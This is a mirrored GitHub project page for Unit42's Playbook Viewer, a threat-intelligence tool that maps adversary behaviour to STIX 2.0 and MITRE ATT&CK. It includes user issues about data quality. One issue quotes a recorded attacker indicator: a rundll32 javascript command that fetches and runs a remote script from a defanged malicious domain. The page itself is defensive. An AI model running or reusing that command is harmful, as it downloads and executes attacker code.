Giter Club home page Giter Club logo

playbook_viewer's Introduction

ATOM/Playbook Viewer

What started out as the “Adversary Playbook” has now evolved into the ability to visualize threats without having attribution to a specific adversary or threat group. The idea is still rather straightforward: just as we create offensive and defensive playbooks for sports, our adversaries also have offensive playbooks that they execute to compromise organizations. They may not write them down, but they exist. Through observation and data sharing, defenders can create their own version of the Adversary's playbook, and then use that playbook to better defend their network with defensive playbooks.

The "Adversary Playbook" is now renamed to Actionable Threat Objects and Mitigations or ATOMs. The goal is to organize the tools, techniques, and procedures that an adversary uses into a structured format, which can be shared with others, and built upon. To achieve this goal, we didn’t want to develop a proprietary structure that would be exclusive to Palo Alto Networks. Instead, we identified two frameworks that would enable us to not only structure our data, but also enable us to share it with others.

To learn more about the change to ATOMs, visit our blog page here: https://unit42.paloaltonetworks.com/actionable-threat-objects-and-mitigations/

Framework Description
STIX 2.0 Structured Threat Information Expression (STIX™) is a language and serialization format used to exchange cyber threat intelligence (CTI).
ATT&CK MITRE’s Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK™) is a curated knowledge base and model for cyber adversary behavior, reflecting the various phases of an adversary’s lifecycle and the platforms they are known to target. ATT&CK is useful for understanding security risk against known adversary behavior, for planning security improvements, and verifying defenses work as expected.

STIX 2.0 is the latest iteration of the STIX format. It has been re-designed to simplify the creation of documents and uses JSON rather than XML. STIX 2.0 provides a list of objects to represent types of information typically generated for cyber threat intelligence (CTI). For instance, STIX includes objects for intrusion sets, malware, and indicators, among others. STIX standardizes the information and attributes stored within objects based on the object type, as well as the relationships available between the various object types. The standardized objects and their relationships between each other allows this intelligence to be sharable and easily consumable without having to write complicated parsing tools.

MITRE’s ATT&CK framework provide names, descriptions, and links to examples of the high-level tactics adversaries’ use during an operation, as well as the techniques the adversary uses to achieve them. For example, the ATT&CK framework has a tactic called ‘Launch’ that refers to an adversary attempting to penetrate a network. One technique associated with this tactic is called “Spear phishing messages with malicious attachments”, which describes how the adversary would launch an attack on the network. This provides common definitions and understandings of how a specific goal is accomplished by attackers.

To meld these frameworks together, we looked at how Mitre mapped their ATT&CK data to STIX 2.0 and then chose appropriate objects for additional Playbook components.

STIX 2.0 Object Playbook Component
Intrusion Set Adversary
Report Playbook
Report Play
Campaign Campaign
Kill-Chain-Phase ATT&CK Tactic
Attack-Pattern ATT&CK Technique
Indicator Indicator
Malware Adversary Malware
Tool Adversary Tool

If you want to try this tool out, view it here: https://pan-unit42.github.io/playbook_viewer/

For example, Evasive Serpens, also known as Oilrig, is evasive-serpens.json, and the direct link is: https://pan-unit42.github.io/playbook_viewer/?pb=evasive-serpens

Playbook Structure

The structure of an ATOM is described in detail here.

playbook_viewer's People

Contributors

aelsad1 avatar aktanner avatar brad-duncan avatar chkroot avatar eiyuki avatar ireo avatar mike-bailey avatar obiwanblee avatar sddj avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

playbook_viewer's Issues

Playbook creation

I have added a new json file (stix2 format) to the playbooks folder and modified the html to show it, but nothing is displayed.

Does you playbook viewer support adding new playbooks or only the ones created by you?
As mentioned in your repo, you use att&ck framework and STIX 2, but exporting a MISP event maped to att&ck framework in stix 2 seems to not work at all.

Many thanks

CORS protection blocks loading the resources on localhost

Issue:

When opening the playbook on localhost without a server, CORS policy of browser blocks loading of the resources.
The message from the browser:

Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at file:///C:/Repositories/playbook_viewer-master/consts.json. (Reason: CORS request not http).

Workaround:

Run browser with disabled CORS protection - it works
.\chrome.exe --allow-file-access-from-files

Then the playbook works normally

duplicate UUIDs in playbooks

When reviewing the data, I noticed that some objects have the same uuid, but different type. I believe that most people are under the assumption that the UUID part of the identifier is unique among all objects, and that the type prefix is NOT required to make the identifier unique. As it is, if someone makes this assumption, they will not be able to use your data.

For example, in https://github.com/pan-unit42/playbook_viewer/blob/master/playbook_json/patchwork.json , the UUID, 4832076b-7a4c-4952-8853-6446de513176, is used for a relationship, a report and a campaign.

$grep 4832076b-7a4c-4952-8853-6446de513176 patchwork.json | grep id 
      "id": "relationship--4832076b-7a4c-4952-8853-6446de513176",
      "id": "report--4832076b-7a4c-4952-8853-6446de513176",
      "id": "campaign--4832076b-7a4c-4952-8853-6446de513176",

This happens in other playbooks as well.

Invalid STIX indicator patterns

Firstly, thank you for this amazing resource, the playbooks have been very useful for my current project.

However, a lot of the new indicators in the playbooks have invalid STIX patterns. This can be verified by running the CTI Pattern Validator provided by MITRE.

For eg., indicator--8daedb2f-bc56-45eb-9eab-916e23cb957a from rancor.json has pattern [\"file:name = 'Mk3tj.doc'\"].

Inputting it in the pattern validator yields the following error:
FAIL: Error found at line 1:1. mismatched input '' expecting {IdentifierWithoutHyphen, IdentifierWithHyphen, '('}

Similarly, indicator--36ffed63-3a43-4572-950e-bbe451ae2627 from rancor.json has pattern [process:command_line = '""rundll32 javascript:\""\..\mshtml,RunHTMLApplication \"";document.write();try{GetObject(\""script:http://update.upload-dropbox[.]com/images/rtf/logo33_bak.ico\"");}catch(e){};window.close()""" & " /mo 10 /F""']

Inputting it in the pattern validator yields the following error:
FAIL: Error found at line 1:24. mismatched input ''' expecting {IntNegLiteral, IntPosLiteral, FloatNegLiteral, FloatPosLiteral, HexLiteral, BinaryLiteral, StringLiteral, BoolLiteral, TimestampLiteral}

There are invalid patterns such as this littered across the different playbooks, and this makes using the CTI Pattern Matcher very difficult for my use case as it will fail when encountering an invalid pattern.

Deploy locally

How can we deploy this project locally and add out own content
once downloaded there is no way directly run this project on a server

Curious about "[Playbook]" in STIX name field

Hi there, I'm curious why some IntrusionSet names are prepended with "[Playbook]" and others aren't. Examples include Muddy Water, Cobalt Gang, and Chafer. Will all of the names be normalized at some point so they all either include that string or don't? Thanks!

Placeholder Object in sofacy.json

The object attack pattern object that starts at line 1638 and ends at line 1657 seems to be a place holder object. It has no description or kill_chain_phases.

Leverage MITRE's STIX data?

Saw your presentation at ATTACKCon, nice job.

I was hoping to leverage your data along with the MITRE ATTACK Data (https://github.com/mitre/cti), however, the attack pattern ID's do not match, and so we would have duplicates.

Any thought of leveraging MITRE's STIX objects?

Thanks

T1060 ID is different than Mitre's T1060 ID

The ID of the T1060 present in MenuPass.json is attack-pattern--d586e6f2-83a6-43f1-b267-c47ab031b33e, but Mitre's is attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc. Would it be possible to update the id to match?

Where do the campaign dates come from?

Hi there. I'm trying to validate that I'm using all of the information you've provided correctly in our application. The first report we've ingested is the Tick group. I see two campaigns in the data, and they match up with the specific attack patterns used for each one just like I see on the Playbook Viewer page. However, the data file names one campaign "January 2018" but on the Viewer it says, "December 2017 to January 2018". Where do those dates come from? Are you using the "first_seen" and "last_seen" dates and extrapolating?

"December 2017 to January 2018"

{
      "type": "campaign",
      "id": "campaign--be7cda7f-8a8a-4bf6-9ba3-5c713664ecdf",
      "created": "2018-07-11T20:25:11.667Z",
      "modified": "2018-07-23T17:49:05.500Z",
      "name": "January 2018",
      "description": "\nTick group targeted a specific type of secure USB drive [snip]...",
      "first_seen": "2018-01-01",
      "last_seen": "2018-01-12"
    }

"October 2016 to June 2017"

{
     "type": "campaign",
     "id": "campaign--358b5915-2a63-4406-828f-890558e27a1f",
     "created": "2018-08-03T13:20:50.755Z",
     "modified": "2018-08-06T18:11:18.234Z",
     "name": "July 2017",
     "description": " The “Tick” group has conducted cyber espionage attacks [snip]... ",
     "first_seen": "2016-11-01",
     "last_seen": "2017-07-01"
   }

Any plans to update deprecated MITRE Techniques?

As we've been building a tool to display your awesome playbook data, we've noticed that in older campaigns, the MITRE Techniques that are referenced have been deprecated. Are there any plans to go back and update them to the current Technique? One example that stands out is how Phishing was deprecated and replaced with Phishing with Link and Phishing with Attachment.

I can also see the other side of the argument for keeping the historical technique at the time it occurred, but I was just curious if it had come up in your planning. Thanks!

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.